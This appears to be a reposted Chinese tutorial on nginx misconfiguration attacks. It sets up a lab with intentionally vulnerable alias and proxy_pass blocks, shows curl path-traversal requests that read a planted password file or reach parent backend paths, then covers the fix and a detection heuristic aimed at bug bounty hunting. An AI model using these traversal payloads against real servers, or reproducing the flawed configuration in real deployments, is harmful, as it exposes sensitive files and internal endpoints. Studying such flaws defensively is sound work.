LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

[点晴永久免费OA]nginx反向攻击面的深入理解

admin
2026年1月29日 10:45 本文热度 94

​正文

首先需要搭建一个最基本的nginx环境,可以参考: https://t.zsxq.com/tM9mj

然后对nginx的配置进行修改,追加了以下:


# 漏洞测试1:alias指令(静态文件遍历)
    location /static {
        alias /var/www/html/static_files/;  # 注意:alias目录与location名称不同
    }

    # 漏洞测试2:proxy_pass指令(反向代理穿透)
    location /api {
        proxy_pass http://localhost:8080/v1/;  # 转发到本地8080端口的/v1/路径,如果你在云服务器上,直接用ip替换localhost即可
    }

保存后执行:

sudo nginx -t          # 检查配置语法
sudo systemctl reload nginx  # 热重载配置

准备测试文件


# 创建alias指令的测试目录和文件
sudo mkdir -p /var/www/html/static_files/secret
echo"info secret 666!" | sudo tee /var/www/html/secret/db_pass.txt
echo"public info" | sudo tee /var/www/html/static_files/public.txt

# 创建proxy_pass指令的后端测试文件
mkdir -p ~/internal-api/v1
echo'{"status": "public API"}' > ~/internal-api/v1/data.json
echo'{"admin": "internal API"}' > ~/internal-api/admin.json

# 启动后端服务(端口8080)
cd ~/internal-api && python3 -m http.server 8080 &

到这里环境搭建已经成功了,下面来测试漏洞:

  1. 测试alias指令漏洞(静态文件遍历)
curl http://127.0.0.1/static/public.txt

# 恶意请求(路径穿越到上级目录)
curl http://127.0.0.1/static../secret/db_pass.txt

预期结果 :

正常请求返回 公开文件

恶意请求返回 敏感文件:数据库密码

  1. 测试proxy_pass指令漏洞(反向代理穿透)

# 正常请求(预期返回public API)
curl http://127.0.0.1/api/data.json

# 恶意请求(路径穿越到上级目录)
curl http://127.0.0.1/api../admin.json

果然是有问题的,那我们这里来观察一下

首先是nginx日志:

原样输出,这个很正常,再来看看python3起的服务监听的8080端口:

请注意划红线的两行,就是我前面刚刚发起的请求,再看看nginx配置文件:

现在我们将配置文件改动一下,变为如下:

重新启动nginx服务: systemctl restart nginx

再来看看原来的敏感文件,看能否查看:

发现果然不能访问了,写这篇文章主要是加深对后端以及nginx一些漏洞的相关理解
 
那如何检测这种漏洞呢?
 
假设Nginx配置如下(假设这里是有问题的):

location /api {
    proxy_pass http://apiserver/v1/;  # 注意结尾有斜杠
}

预期行为 :所有以/api开头的请求(如/api/user)应转发到后端服务器http://apiserver/v1/user

实际行为 :由于/api末尾没有斜杠 ,而proxy_pass的路径有斜杠,拼接时可能产生路径错误。

正常请求示例 1.请求:http://server/api/user

Nginx移除/api,剩余路径/user

拼接后转发到:http://apiserver/v1//user(双斜杠会被服务器自动合并为单斜杠)。

最终实际访问:http://apiserver/v1/user(正常)。

漏洞利用示例 攻击者构造特殊路径添加../进行路径穿越:

  1. 请求 :

http://server/api../

Nginx移除/api,剩余路径../

拼接后转发到:http://apiserver/v1/../(相当于返回上一级目录)。

最终实际访问:http://apiserver/(访问到v1的上级目录!)。

  1. 进一步利用 :

http://server/api../server-status

最终访问:http://apiserver/server-status(可能暴露服务器敏感信息)。

如果以下两个请求返回相同结果 ,则可能存在漏洞:(这里很重要,请仔细品味)

http://server/api/user→转发为http://apiserver/v1//user

http://server/apiuser→转发为http://apiserver/v1/user

因为两者最终都会被服务器规范化为http://apiserver/v1/user,但第二个请求绕过了/api前缀的限制。

我们在日常测试中,要善于发现路径中的这种"api",它往往隐藏着高赏金的漏洞。


阅读原文:https://mp.weixin.qq.com/s/cvQDpZLKk-KvF01lMioO8A


该文章在 2026/1/29 10:45:26 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved